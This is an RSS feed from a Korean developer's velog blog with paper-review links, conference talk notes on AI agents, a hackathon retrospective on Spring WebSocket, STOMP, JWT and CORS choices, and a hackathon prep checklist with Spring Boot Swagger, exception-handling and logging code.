<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>a_zin.log</title>
        <link>https://velog.io/</link>
        <description></description>
        <lastBuildDate>Tue, 17 Mar 2026 03:22:07 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>a_zin.log</title>
            <url>https://velog.velcdn.com/images/a_zin/profile/a616dcc3-c40d-455c-a519-1a9af698bbc2/social_profile.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. a_zin.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/a_zin" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[4D Spatio-Temporal ConvNets: Minkowski Convolutional Neural Networks]]></title>
            <link>https://velog.io/@a_zin/4D-Spatio-Temporal-ConvNets-Minkowski-Convolutional-Neural-Networks</link>
            <guid>https://velog.io/@a_zin/4D-Spatio-Temporal-ConvNets-Minkowski-Convolutional-Neural-Networks</guid>
            <pubDate>Tue, 17 Mar 2026 03:22:07 GMT</pubDate>
            <description><![CDATA[<p><a href="https://www.notion.so/azin0202/4D-Spatio-Temporal-ConvNets-Minkowski-Convolutional-Neural-Networks-3241744291188088b15bf13897ed3c4f?source=copy_link">https://www.notion.so/azin0202/4D-Spatio-Temporal-ConvNets-Minkowski-Convolutional-Neural-Networks-3241744291188088b15bf13897ed3c4f?source=copy_link</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[PointNet++- Deep Hierarchical Feature Learning on Point Sets in a Metric Space]]></title>
            <link>https://velog.io/@a_zin/PointNet-Deep-Hierarchical-Feature-Learning-on-Point-Sets-in-a-Metric-Space</link>
            <guid>https://velog.io/@a_zin/PointNet-Deep-Hierarchical-Feature-Learning-on-Point-Sets-in-a-Metric-Space</guid>
            <pubDate>Sun, 08 Mar 2026 05:59:52 GMT</pubDate>
            <description><![CDATA[<p><a href="https://www.notion.so/azin0202/PointNet-Deep-Hierarchical-Feature-Learning-on-Point-Sets-in-a-Metric-Space-31917442911880679181f1e4a319c69a?source=copy_link">https://www.notion.so/azin0202/PointNet-Deep-Hierarchical-Feature-Learning-on-Point-Sets-in-a-Metric-Space-31917442911880679181f1e4a319c69a?source=copy_link</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[CNN : ImageNet Classification with Deep Convolutional
Neural Networks]]></title>
            <link>https://velog.io/@a_zin/CNN</link>
            <guid>https://velog.io/@a_zin/CNN</guid>
            <pubDate>Wed, 04 Mar 2026 00:09:50 GMT</pubDate>
            <description><![CDATA[<p><a href="https://www.notion.so/azin0202/CNN-ImageNet-Classification-with-Deep-Convolutional-Neural-Networks-31017442911880a2bb43e8a32ea58ac3?source=copy_link">https://www.notion.so/azin0202/CNN-ImageNet-Classification-with-Deep-Convolutional-Neural-Networks-31017442911880a2bb43e8a32ea58ac3?source=copy_link</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[ReLU - Rectified Linear Units Improve Restricted Boltzmann Machines]]></title>
            <link>https://velog.io/@a_zin/ReLU-Rectified-Linear-Units-Improve-Restricted-Boltzmann-Machines</link>
            <guid>https://velog.io/@a_zin/ReLU-Rectified-Linear-Units-Improve-Restricted-Boltzmann-Machines</guid>
            <pubDate>Sun, 22 Feb 2026 14:53:31 GMT</pubDate>
            <description><![CDATA[<p><a href="https://azin0202.notion.site/ReLU-Rectified-Linear-Units-Improve-Restricted-Boltzmann-Machines-30f1744291188000b2c3d629e4d80b8f?source=copy_link">https://azin0202.notion.site/ReLU-Rectified-Linear-Units-Improve-Restricted-Boltzmann-Machines-30f1744291188000b2c3d629e4d80b8f?source=copy_link</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[1월 24일 UMCON]]></title>
            <link>https://velog.io/@a_zin/1%EC%9B%94-24%EC%9D%BC-UMCON</link>
            <guid>https://velog.io/@a_zin/1%EC%9B%94-24%EC%9D%BC-UMCON</guid>
            <pubDate>Sat, 24 Jan 2026 03:07:23 GMT</pubDate>
            <description><![CDATA[<h2 id="1-ai-agent란-무엇이고-우리가-개발할-때-ai-agent를-어떻게-써야-잘-활용할-수-있을까">1. AI Agent란 무엇이고, 우리가 개발할 때 AI Agent를 어떻게 써야 잘 활용할 수 있을까?</h2>
<ul>
<li>카카오스타일 Data Quality Assurance 김대현</li>
</ul>
<p>AI Agent</p>
<ul>
<li>목표를 가지고, 상황을 판단, 선택을 반복하는 AI</li>
<li>단순한 QA, 계산보다는 여러 도구를 넘나들어야 할 때 중요</li>
</ul>
<p><strong>TIP :</strong> </p>
<ul>
<li>너무 많이 넣지 말기 -&gt; 처음에는 최소한으로 시작하고, 쓰면서 부족한 부분 하나씩 붙이기</li>
<li>역할과 범위 부여하기 -&gt; 명세서, 기술 등 명확히 정의
//TODO
프롬프트 구조화해서 입력으로 작성</li>
<li>한번에 하지 말고 작게 나눠서 호출</li>
<li>Context는 구체적으로, BUT 너무 많이 쓰지는 말기</li>
<li><strong>이 기술을 왜 사용했는지 설명하는 능력 중요!</strong></li>
</ul>
<p>QA</p>
<ol>
<li>Agent 얼마나 사용하시나요?</li>
</ol>
<ul>
<li>회사마다 다름 -&gt; 보통 금융권은 안쓰는걸 선호</li>
</ul>
<ol start="2">
<li>Context가 빨리 소모되는데 줄이는 팁</li>
</ol>
<ul>
<li>다 써놓고 중복되는 부분 삭제하면서 진행</li>
</ul>
<h2 id="2-프로젝트를-위해-기술을-고르는-법">2. 프로젝트를 위해 기술을 고르는 법</h2>
<ul>
<li>LGCNS 티머니운영팀 김원혁</li>
</ul>
<p><strong>기술은 목적이 아닌 수단</strong></p>
<ul>
<li>왜 이걸 선택했는지에 대한 고민 필수 </li>
<li>기술이 목적이 되면 프로젝트가 흔들림</li>
</ul>
<p><strong>프로젝트 목표를 먼저 명확히 세우고 기술스택 정하기</strong></p>
<h2 id="3-프로그래밍-못해도-it직군으로-입사하는-법">3. 프로그래밍 못해도 IT직군으로 입사하는 법</h2>
<ul>
<li>공공기관 5년차 대리 장지혁</li>
</ul>
<p>공기업의 경우 학벌, 학점보다 영어, 자격증(정처기 등), 기타자격증을 봄</p>
<p>필기: NCS + 전공필기 + 코딩테스트
면접 전형 : 1대 다, 임원면접, 토론 등 
<img src="https://velog.velcdn.com/images/a_zin/post/8fb3955d-3230-45e5-9517-87d5706c0753/image.jpeg" alt=""></p>
<p>대학원 갈까요? -&gt; 너무 시간이 오래걸려서 비추</p>
<h2 id="4-gpt의-구조적-한계와-그-한계를-극복하는-법">4. GPT의 구조적 한계와 그 한계를 극복하는 법</h2>
<ul>
<li>스타트업 3년차 배정원</li>
</ul>
<p>GPT 한계</p>
<ol>
<li>컨텍스트 길이 한계</li>
<li>할루시네이션</li>
<li>학습 이후의 지식 단절</li>
<li>추론 한계 및 피드백 한계</li>
<li>비용과 지연시간</li>
</ol>
<p><strong>LLM의 상품화가 중요</strong></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[1/10 ~ 1/11일 해커톤 회고록]]></title>
            <link>https://velog.io/@a_zin/110-111%EC%9D%BC-%ED%95%B4%EC%BB%A4%ED%86%A4-%ED%9A%8C%EA%B3%A0%EB%A1%9D</link>
            <guid>https://velog.io/@a_zin/110-111%EC%9D%BC-%ED%95%B4%EC%BB%A4%ED%86%A4-%ED%9A%8C%EA%B3%A0%EB%A1%9D</guid>
            <pubDate>Mon, 12 Jan 2026 21:31:50 GMT</pubDate>
            <description><![CDATA[<h1 id="해커톤-회고록">해커톤 회고록</h1>
<p>해커톤 기간에는 빠른 기능 구현을 위해 익숙한 코드나 레퍼런스를 참고하여 기능을 완성하는 데 집중했습니다.
프로젝트가 끝난 후, 내가 작성한 코드보다 더 나은 방법은 없는지, 이 기술을 이렇게 사용하는 것이 맞는지라는 의문을 해결하기 위해 이 글을 작성하였습니다.</p>
<hr>
<h2 id="1-실시간-통신-stomp-vs-raw-websocket">1. 실시간 통신: STOMP vs Raw WebSocket</h2>
<h3 id="구현">구현</h3>
<p>게임방(<code>Room</code>) 단위로 이벤트를 전송해야 했기에, 서칭을 통해 STOMP 설정을 가져와 적용했습니다. 당시에는 <code>enableSimpleBroker</code>가 정확히 어떤 원리로 작동하는지 모른 채 주소만 맞추면 메시지가 간다는 사실 정도만 알고 코드를 작성하였습니다.</p>
<h3 id="학습">학습</h3>
<p>해커톤이 끝난후 새로운 기술에 대한 이해를 위해 CS 이론과 함께 동작 원리를 고민해보았습니다.</p>
<h3 id="cs-이론-registerstompendpoints와-handshake의-해부">CS 이론: registerStompEndpoints와 Handshake의 해부</h3>
<p><code>registry.addEndpoint(&quot;/ws&quot;)</code>)가 정확히 언제 개입하는지 분석을 진행했습니다.</p>
<p><strong>[Step 1] L4 Transport Layer: TCP 3-way Handshake</strong></p>
<ul>
<li>웹소켓도 결국 TCP 기반입니다. 클라이언트가 서버에 접속을 시도하면, 가장 먼저 OS 레벨에서 <strong>3-way Handshake</strong>(SYN -&gt; SYN/ACK -&gt; ACK)가 일어납니다.</li>
<li>이 단계는 Spring Boot(애플리케이션)가 관여하기 전, 커널 단에서 처리되어 Connection이 만들어집니다.</li>
</ul>
<p><strong>[Step 2] L7 Application Layer: HTTP Upgrade Handshake</strong></p>
<ul>
<li>TCP 연결이 맺어진 직후, 클라이언트는 일반적인 HTTP 요청을 보냅니다. 단, 헤더가 조금 다릅니다.<pre><code class="language-http">  GET /ws HTTP/1.1
  Host: localhost:8080
  Upgrade: websocket
  Connection: Upgrade</code></pre>
</li>
<li><strong>여기서 <code>registerStompEndpoints</code>가 작동합니다.</strong><ul>
<li>Spring Container는 요청 URL이 <code>/ws</code>임을 확인하고, 해당 엔드포인트가 <code>WebSocketConfig</code>에 등록되어 있는지 검사합니다.</li>
<li>등록되어 있다면, 서버는 HTTP 프로토콜을 웹소켓 프로토콜로 전환(Switching)하겠다는 응답을 보냅니다.<pre><code class="language-http">HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade</code></pre>
</li>
</ul>
</li>
<li><strong>결론:</strong> <code>registry.addEndpoint(&quot;/ws&quot;)</code>는 단순한 URL 매핑이 아니라, <strong>&quot;HTTP 프로토콜을 WebSocket 프로토콜로 업그레이드해 달라&quot;는 요청을 승인하는 Gateway</strong> 역할을 합니다.</li>
</ul>
<hr>
<h3 id="2-라우팅-문제-raw-websocket은-왜-파이프에-불과한가">2. 라우팅 문제: Raw WebSocket은 왜 파이프에 불과한가?</h3>
<p>STOMP과 Raw WebSocket 비교 분석했습니다. 
가장 큰 차이는 <strong>&#39;메시지를 누구에게 보낼 것인가(Routing)&#39;</strong>에 대한 관리 주체입니다.</p>
<p><strong>Raw WebSocket</strong></p>
<ul>
<li>Raw WebSocket은 클라이언트와 서버 간의 <strong>1:1 통신 라인</strong>일 뿐입니다. <code>WebSocketSession</code> 객체는 연결된 상태만 알 뿐, 이 유저가 1번 방에 있는지 2번 방에 있는지 알지 못합니다.</li>
<li>특정 방(<code>Room 1</code>)에 있는 사람들에게만 메시지를 보내려면, 개발자가 직접 메모리에 지도를 그려야 합니다.</li>
<li>// 동시성 문제, 세션 종료 여부 체크 등 모든 것을 직접 관리해야 함</li>
</ul>
<p><strong>STOMP</strong></p>
<ul>
<li><strong>구조:</strong> STOMP는 Message Broker 패턴을 도입합니다.</li>
<li><strong>해결:</strong><ul>
<li><strong>Subscribe:</strong> 클라이언트가 <code>/topic/room/1</code>이라는 주소를 구독하면, 브로커가 내부적으로 &quot;이 세션은 1번 방 메시지를 받겠다&quot;라고 메모해둡니다.</li>
<li><strong>Publish:</strong> 서버가 <code>/topic/room/1</code>로 메시지를 던지면, 브로커가 알아서 해당 주소를 구독한 세션들을 찾아 뿌려줍니다.</li>
</ul>
</li>
</ul>
<hr>
<h2 id="2-인증-객체-authuser-vs-authenticationprincipal">2. 인증 객체: @AuthUser vs @AuthenticationPrincipal</h2>
<h3 id="구현-1">구현</h3>
<p>이 부분은 팀원이 진행하였습니다.</p>
<h3 id="학습-1">학습</h3>
<p>기존에 <code>UserDetails</code>를 구현한 <code>CustomUserPrincipal</code>을 컨트롤러에서 직접 받아서 사용해본 경험이 있기때문에 어떤 방법이 더 나은 방법인지 알기 위해 학습을 진행했습니다.</p>
<h3 id="장단점-분석">장단점 분석</h3>
<table>
<thead>
<tr>
<th align="left">비교 항목</th>
<th align="left"><strong>기존 방식 (<code>CustomUserPrincipal</code> 직접 사용)</strong></th>
<th align="left"><strong>개선 방식 (<code>@AuthUser</code> 커스텀 어노테이션)</strong></th>
</tr>
</thead>
<tbody><tr>
<td align="left"><strong>장점</strong></td>
<td align="left">• 별도의 설정 없이 Spring Security가 제공하는 기능을 즉시 사용 가능.<br>• 구현이 빠르고 직관적임.</td>
<td align="left">• <strong>결합도 감소:</strong> 컨트롤러가 Security 내부 구현체(<code>CustomUserPrincipal</code>)를 몰라도 됨.<br>• <strong>가독성:</strong> <code>@AuthUser</code>만 붙이면 되므로 코드가 간결해짐.<br>• <strong>유연성:</strong> <code>Member</code> 객체나 <code>ID</code> 등 원하는 형태로 가공해서 주입 가능.</td>
</tr>
<tr>
<td align="left"><strong>단점</strong></td>
<td align="left">• <strong>강한 결합:</strong> 컨트롤러 코드가 Spring Security 기술에 종속됨.<br>• 매번 형변환이나 <code>getter</code> 호출이 필요해 코드가 지저분해짐.</td>
<td align="left">• 초기 설정(Annotation 생성, Resolver 등록)에 공수가 들어감.<br>• 내부 동작 원리(Resolver)를 모르면 디버깅이 어려울 수 있음.</td>
</tr>
</tbody></table>
<ul>
<li><code>@AuthUser</code>는 컨트롤러 계층과 보안 계층(Spring Security)을 분리해 주는 역할</li>
</ul>
<hr>
<h2 id="3-jwt-인증-위치-interceptor-vs-filter">3. JWT 인증 위치: Interceptor vs Filter</h2>
<h3 id="구현-2">구현</h3>
<p>이 부분 또한 팀원이 JWT 토큰 검증 로직을 Interceptor을 통해 구현했습니다.</p>
<h3 id="학습-2">학습</h3>
<p>기존에 저는 filter를 통한 검증 방법을 알고 있었고 filter와 Interceptor로 구현하는 방법의 차이에 호기심을 가지고 Spring의 Request Lifecycle을 분석해 보았습니다.</p>
<ul>
<li><p><strong>실행 시점의 차이:</strong></p>
<ul>
<li><strong>Filter:</strong> DispatcherServlet(Spring MVC) <strong>진입 전</strong> (Web Container 영역)</li>
<li><strong>Interceptor:</strong> DispatcherServlet <strong>진입 후</strong>, 컨트롤러 실행 전 (Spring Context 영역)</li>
</ul>
</li>
<li><p><strong>보안 원칙:</strong> 잘못된 토큰이나 악의적인 요청은 비즈니스 로직(Spring MVC)이 시작되기 전에 가장 앞단에서 차단해야 리소스 낭비를 막을 수 있음</p>
</li>
<li><p>Trade-off Filter에서 발생하는 예외는 <code>@ControllerAdvice</code>가 잡지 못하는 단점이 있었지만, 이는 Spring Security의 표준인 <code>AuthenticationEntryPoint</code>를 구현하여 해결할 수 있음</p>
</li>
</ul>
<hr>
<h2 id="4-cors-설정-yaml-vs-java-config">4. CORS 설정: YAML vs Java Config</h2>
<h3 id="학습-3">학습</h3>
<p>설정이 여기저기 흩어져 있는데, 하나로 통일해야 하지 않을까?라는 생각에 학습을 시작했습니다.</p>
<ul>
<li><strong>분석:</strong><ul>
<li><strong>YAML:</strong> <code>Allowed Origins</code> 같은 <strong>데이터</strong>는 환경(Local/Prod)마다 달라야 하므로 빌드 없이 변경 가능해야 함.</li>
<li><strong>Java:</strong> <code>Allowed Methods</code> 같은 <strong>정책</strong>은 변하지 않는 로직이므로 코드에 명시해야 함.</li>
</ul>
</li>
</ul>
<hr>
<h3 id="끝으로">끝으로</h3>
<p>해커톤이 끝난 후, 기존에 알던 것과 다른 코드를 분석하여 비교하는 경험을 통해 성장하였습니다.</p>
<p>References</p>
<ul>
<li><p><a href="https://docs.spring.io/spring-security/reference/servlet/integrations/mvc.html">Spring Security Docs - @AuthenticationPrincipal</a></p>
</li>
<li><p><a href="https://docs.spring.io/spring-framework/reference/web/websocket/stomp/handle-broker-relay.html">Spring Framework Docs - STOMP Message Flow</a></p>
</li>
<li><p><a href="https://docs.spring.io/spring-security/reference/servlet/architecture.html">Spring Security Docs - Security Filter Chain</a></p>
</li>
<li><p><a href="https://docs.spring.io/spring-framework/reference/web/webmvc-cors.html">Spring Framework Docs - CORS Global Config</a></p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[해커톤 대비 복습 및 TODO 정리]]></title>
            <link>https://velog.io/@a_zin/%ED%95%B4%EC%BB%A4%ED%86%A4-%EB%8C%80%EB%B9%84-%EB%B3%B5%EC%8A%B5-%EB%B0%8F-TODO-%EC%A0%95%EB%A6%AC</link>
            <guid>https://velog.io/@a_zin/%ED%95%B4%EC%BB%A4%ED%86%A4-%EB%8C%80%EB%B9%84-%EB%B3%B5%EC%8A%B5-%EB%B0%8F-TODO-%EC%A0%95%EB%A6%AC</guid>
            <pubDate>Fri, 09 Jan 2026 09:18:26 GMT</pubDate>
            <description><![CDATA[<ol>
<li>인프라 구축하기(보안 중요 x)</li>
</ol>
<ul>
<li>인스턴스 생성</li>
<li>보안그룹 설정(아마 모두 열어둘듯?)</li>
<li>DB 연결</li>
<li>S3 사용여부 확인</li>
</ul>
<ol start="2">
<li>Git 세팅, 협업 전략 세우기</li>
</ol>
<ul>
<li>git convention?</li>
</ul>
<ol start="3">
<li><p>swagger 구축하기</p>
<pre><code>@Configuration
public class SwaggerConfig {

 @Autowired
 private ApplicationContext applicationContext;

 @Bean
 public OpenAPI openAPI() {

</code></pre></li>
</ol>
<pre><code>    return new OpenAPI()
            .info(new Info()
                    .title(&quot;앱 이름&quot;)
                    .description(&quot;앱 설명&quot;)
                    .version(&quot;v1.0.0&quot;))
            .addSecurityItem(securityRequirement)
            .components(components);
}

@Bean
public OperationCustomizer operationCustomizer() {
    return (Operation operation, HandlerMethod handlerMethod) -&gt; {
        // 실제 API 경로 정보 추출
        String actualPath = extractActualPath(handlerMethod);

        // 단일 에러 코드 어노테이션 처리
        ApiErrorExample apiErrorExample = handlerMethod.getMethodAnnotation(ApiErrorExample.class);
        if (apiErrorExample != null) {
            generateErrorCodeResponseExample(operation, new ErrorCode[]{apiErrorExample.value()}, actualPath);
        }

        // 복수 에러 코드 어노테이션 처리
        ApiErrorExamples apiErrorExamples = handlerMethod.getMethodAnnotation(ApiErrorExamples.class);
        if (apiErrorExamples != null) {
            generateErrorCodeResponseExample(operation, apiErrorExamples.value(), actualPath);
        }

        return operation;
    };
}

// HandlerMethod에서 실제 API 경로 추출
private String extractActualPath(HandlerMethod handlerMethod) {
    try {
        RequestMappingHandlerMapping mapping = applicationContext.getBean(RequestMappingHandlerMapping.class);
        Map&lt;RequestMappingInfo, HandlerMethod&gt; handlerMethods = mapping.getHandlerMethods();

        for (Map.Entry&lt;RequestMappingInfo, HandlerMethod&gt; entry : handlerMethods.entrySet()) {
            if (entry.getValue().equals(handlerMethod)) {
                RequestMappingInfo info = entry.getKey();

                // PathPatternsCondition 확인
                var pathPatternsCondition = info.getPathPatternsCondition();
                if (pathPatternsCondition != null &amp;&amp; !pathPatternsCondition.getPatterns().isEmpty()) {
                    return pathPatternsCondition.getPatterns().iterator().next().getPatternString();
                }

                // PatternsCondition 확인
                var patternsCondition = info.getPatternsCondition();
                if (patternsCondition != null &amp;&amp; !patternsCondition.getPatterns().isEmpty()) {
                    return patternsCondition.getPatterns().iterator().next();
                }
            }
        }
    } catch (Exception e) {
        // 경로 추출 실패시 기본값 사용
    }

    return &quot;/api/example&quot;;
}

// 에러 코드들을 기반으로 Swagger 응답 예제를 생성
private void generateErrorCodeResponseExample(Operation operation, ErrorCode[] errorCodes, String actualPath) {
    ApiResponses responses = operation.getResponses();

    // HTTP 상태 코드별로 에러 코드들을 그룹화
    Map&lt;Integer, List&lt;ExampleHolder&gt;&gt; statusWithExampleHolders = Arrays.stream(errorCodes)
            .map(errorCode -&gt; ExampleHolder.builder()
                    .example(createErrorExample(errorCode, actualPath))
                    .name(errorCode.name())
                    .httpStatus(errorCode.getStatus().value())
                    .build())
            .collect(Collectors.groupingBy(ExampleHolder::getHttpStatus));

    // 상태 코드별로 ApiResponse에 예제들 추가
    addExamplesToResponses(responses, statusWithExampleHolders);
}

// ErrorCode를 기반으로 Example 객체 생성
private Example createErrorExample(ErrorCode errorCode, String actualPath) {
    // 에러 응답 객체 생성
    Map&lt;String, Object&gt; errorResponse = new LinkedHashMap&lt;&gt;();
    errorResponse.put(&quot;timestamp&quot;, &quot;2025-06-30T12:00:00.000000&quot;);
    errorResponse.put(&quot;status&quot;, errorCode.getStatus().value());
    errorResponse.put(&quot;code&quot;, errorCode.getCode());
    errorResponse.put(&quot;message&quot;, errorCode.getMessage());
    errorResponse.put(&quot;path&quot;, actualPath);

    Example example = new Example();
    example.description(errorCode.getMessage());
    example.setValue(errorResponse);

    return example;
}

// 상태 코드별로 그룹화된 예제들을 ApiResponses에 추가
private void addExamplesToResponses(ApiResponses responses, Map&lt;Integer, List&lt;ExampleHolder&gt;&gt; statusWithExampleHolders) {
    statusWithExampleHolders.forEach((httpStatus, exampleHolders) -&gt; {
        // 해당 상태 코드에 대한 ApiResponse가 이미 존재하는지 확인
        String statusKey = httpStatus.toString();
        ApiResponse apiResponse = responses.get(statusKey);

        if (apiResponse == null) {
            apiResponse = new ApiResponse();
            apiResponse.setDescription(&quot;에러 응답&quot;);
            apiResponse.setContent(new Content());
        }

        // Content와 MediaType 설정
        Content content = apiResponse.getContent();
        MediaType mediaType = content.get(&quot;application/json&quot;);

        if (mediaType == null) {
            mediaType = new MediaType();
            content.addMediaType(&quot;application/json&quot;, mediaType);
        }

        // Examples 맵 설정
        Map&lt;String, Example&gt; examples = mediaType.getExamples();
        if (examples == null) {
            examples = new HashMap&lt;&gt;();
            mediaType.setExamples(examples);
        }

        // 각 에러 코드별 예제 추가
        for (ExampleHolder exampleHolder : exampleHolders) {
            examples.put(exampleHolder.getName(), exampleHolder.getExample());
        }

        // ApiResponse를 responses에 추가
        responses.addApiResponse(statusKey, apiResponse);
    });
}

// 예제 정보를 담는 내부 클래스
@Getter
@Builder
private static class ExampleHolder {
    private final Example example;
    private final String name;
    private final int httpStatus;
}


// 단일 에러 코드 예제를 위한 어노테이션
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface ApiErrorExample {
    ErrorCode value();
}

// 복수 에러 코드 예제를 위한 어노테이션
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface ApiErrorExamples {
    ErrorCode[] value();
}

// 성공 응답 예제를 위한 어노테이션
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface ApiSuccessResponse {
    String message() default &quot;요청이 성공적으로 처리되었습니다.&quot;;
    Class&lt;?&gt; dataType() default Object.class;
    String dataExample() default &quot;&quot;;
    boolean isArray() default false;
}</code></pre><p>}</p>
<pre><code>4. CI/CD 파이프라인 구축하기

5. DB 구축하기
7. API 시그니처 작성
8. API 응답 통일 &amp; 에러 핸들링 부분 완성하기</code></pre><p>@Slf4j
@RestControllerAdvice
public class GlobalExceptionHandler {</p>
<pre><code>/**
 * 비즈니스 로직 예외 처리
 */
@ExceptionHandler(BusinessException.class)
protected ResponseEntity&lt;ApiResponse&lt;Void&gt;&gt; handleBusinessException(BusinessException e, HttpServletRequest request) {
    log.error(&quot;BusinessException: {}&quot;, e.getMessage());
    return ResponseEntity
            .status(e.getErrorCode().getStatus())
            .body(ApiResponse.error(e.getErrorCode(), request.getRequestURI()));
}

/**
 * @Valid 검증 실패 및 바인딩 실패 예외 처리
 */
@ExceptionHandler({MethodArgumentNotValidException.class, BindException.class})
protected ResponseEntity&lt;ApiResponse&lt;Void&gt;&gt; handleValidationException(Exception e, HttpServletRequest request) {
    log.error(&quot;Validation Exception: {}&quot;, e.getMessage());
    return ResponseEntity
            .status(HttpStatus.BAD_REQUEST)
            .body(ApiResponse.error(ErrorCode.VALIDATION_ERROR, request.getRequestURI()));
}

/**
 * 필수 파라미터 누락 예외 처리
 */
@ExceptionHandler(MissingServletRequestParameterException.class)
protected ResponseEntity&lt;ApiResponse&lt;Void&gt;&gt; handleMissingParameterException(MissingServletRequestParameterException e, HttpServletRequest request) {
    log.error(&quot;Missing Parameter: {}&quot;, e.getParameterName());
    return ResponseEntity
            .status(HttpStatus.BAD_REQUEST)
            .body(ApiResponse.error(ErrorCode.REQUIRED_FIELD_MISSING, request.getRequestURI()));
}

/**
 * 파라미터 타입 불일치 예외 처리
 */
@ExceptionHandler(MethodArgumentTypeMismatchException.class)
protected ResponseEntity&lt;ApiResponse&lt;Void&gt;&gt; handleTypeMismatchException(MethodArgumentTypeMismatchException e, HttpServletRequest request) {
    log.error(&quot;Type Mismatch: {} for parameter {}&quot;, e.getValue(), e.getName());
    return ResponseEntity
            .status(HttpStatus.BAD_REQUEST)
            .body(ApiResponse.error(ErrorCode.INVALID_INPUT_VALUE, request.getRequestURI()));
}

/**
 * 지원하지 않는 HTTP 메서드 예외 처리
 */
@ExceptionHandler(HttpRequestMethodNotSupportedException.class)
protected ResponseEntity&lt;ApiResponse&lt;Void&gt;&gt; handleMethodNotSupportedException(HttpRequestMethodNotSupportedException e, HttpServletRequest request) {
    log.error(&quot;Method Not Supported: {}&quot;, e.getMethod());
    return ResponseEntity
            .status(HttpStatus.METHOD_NOT_ALLOWED)
            .body(ApiResponse.error(ErrorCode.METHOD_NOT_ALLOWED, request.getRequestURI()));
}

/**
 * JPA Optimistic Lock 버전 충돌 예외 처리
 */
@ExceptionHandler(ObjectOptimisticLockingFailureException.class)
protected ResponseEntity&lt;ApiResponse&lt;Void&gt;&gt; handleOptimisticLockingFailureException(ObjectOptimisticLockingFailureException e) {
    log.warn(&quot;handleOptimisticLockingFailureException&quot;, e); // 충돌 발생 로깅

    // 409 Conflict 상태 코드로 응답
    return ResponseEntity
            .status(HttpStatus.CONFLICT)
            .body(ApiResponse.error(ErrorCode.CONCURRENCY_CONFLICT));
}

/**
 * 기타 모든 예외 처리
 */
@ExceptionHandler(Exception.class)
protected ResponseEntity&lt;ApiResponse&lt;Void&gt;&gt; handleException(Exception e, HttpServletRequest request) {
    log.error(&quot;Unexpected Exception: {}&quot;, e.getMessage(), e);
    return ResponseEntity
            .status(HttpStatus.INTERNAL_SERVER_ERROR)
            .body(ApiResponse.error(ErrorCode.INTERNAL_SERVER_ERROR, request.getRequestURI()));
}</code></pre><p>}</p>
<pre><code>// 에러코드 enum</code></pre><p>@Getter
@AllArgsConstructor
public enum ErrorCode {</p>
<pre><code>// 실제 사용되는 공통 에러들
INVALID_INPUT_VALUE(HttpStatus.BAD_REQUEST, &quot;COMMON_001&quot;, &quot;잘못된 입력값입니다.&quot;),
METHOD_NOT_ALLOWED(HttpStatus.METHOD_NOT_ALLOWED, &quot;COMMON_002&quot;, &quot;지원하지 않는 HTTP 메서드입니다.&quot;),
INTERNAL_SERVER_ERROR(HttpStatus.INTERNAL_SERVER_ERROR, &quot;COMMON_003&quot;, &quot;서버 내부 오류가 발생했습니다.&quot;)

// TODO: 비즈니스 로직 개발하면서 필요한 에러코드들 추가
private final HttpStatus status;
private final String code;
private final String message;</code></pre><p>}</p>
<pre><code>// BusinessException 정의
</code></pre><p>import lombok.Getter;</p>
<pre><code>@Getter
public class BusinessException extends RuntimeException {

    private final ErrorCode errorCode;

    public BusinessException(ErrorCode errorCode) {
        super(errorCode.getMessage());
        this.errorCode = errorCode;
    }

    public BusinessException(ErrorCode errorCode, String message) {
        super(message);
        this.errorCode = errorCode;
    }

    public BusinessException(ErrorCode errorCode, String message, Throwable cause) {
        super(message, cause);
        this.errorCode = errorCode;
    }
}</code></pre><pre><code>
9. 로깅을 위한 WebConfig 인텁셉터 설정</code></pre><p>public class WebConfig implements WebMvcConfigurer {</p>
<pre><code>private final LoggingInterceptor loggingInterceptor;

@Override
public void addInterceptors(@NonNull InterceptorRegistry registry) {
    registry.addInterceptor(loggingInterceptor)
            // 인터셉터가 실행될 경로를 설정하는 필터
            .addPathPatterns(&quot;/**&quot;)
            // 인터셉터가 실행되지 않을 경로를 설정하는 필터
            .excludePathPatterns(&quot;/h2-console/**&quot;, &quot;/swagger-ui/**&quot;, &quot;/v3/api-docs/**&quot;);
}

@Override
public void configurePathMatch(@NonNull PathMatchConfigurer configurer) {
    // 모든 API 경로에 /api/v1 접두사 추가
    configurer.addPathPrefix(&quot;/api/v1&quot;, c -&gt; c.isAnnotationPresent(org.springframework.web.bind.annotation.RestController.class));
}</code></pre><pre><code>
//인터셉터 설정</code></pre><p>import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.extern.slf4j.Slf4j;</p>
<p>import java.util.UUID;</p>
<p>import org.slf4j.MDC;
import org.springframework.lang.NonNull;
import org.springframework.lang.Nullable;
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;</p>
<p>// 모든 HTTP 요청을 가로채서 로그를 남기는 역할, 컨트롤러 실행 전후에 자동으로 실행
@Slf4j
@Component
public class LoggingInterceptor implements HandlerInterceptor {</p>
<pre><code>// 컨트롤러 메서드가 실행되기 직전
@Override
public boolean preHandle(@NonNull HttpServletRequest request, @NonNull HttpServletResponse response, @NonNull Object handler) {

    String traceId = UUID.randomUUID().toString().substring(0, 8);

    // 스레드별 전역 저장소 traceId 저장 같은 요청에서 발생한 로그 추척 가능
    MDC.put(&quot;traceId&quot;, traceId);

    request.setAttribute(&quot;startTime&quot;, System.currentTimeMillis());

    log.info(&quot;=== 요청 시작 ===&quot;);
    log.info(&quot;Method: {}&quot;, request.getMethod());
    log.info(&quot;URI: {}&quot;, request.getRequestURI());
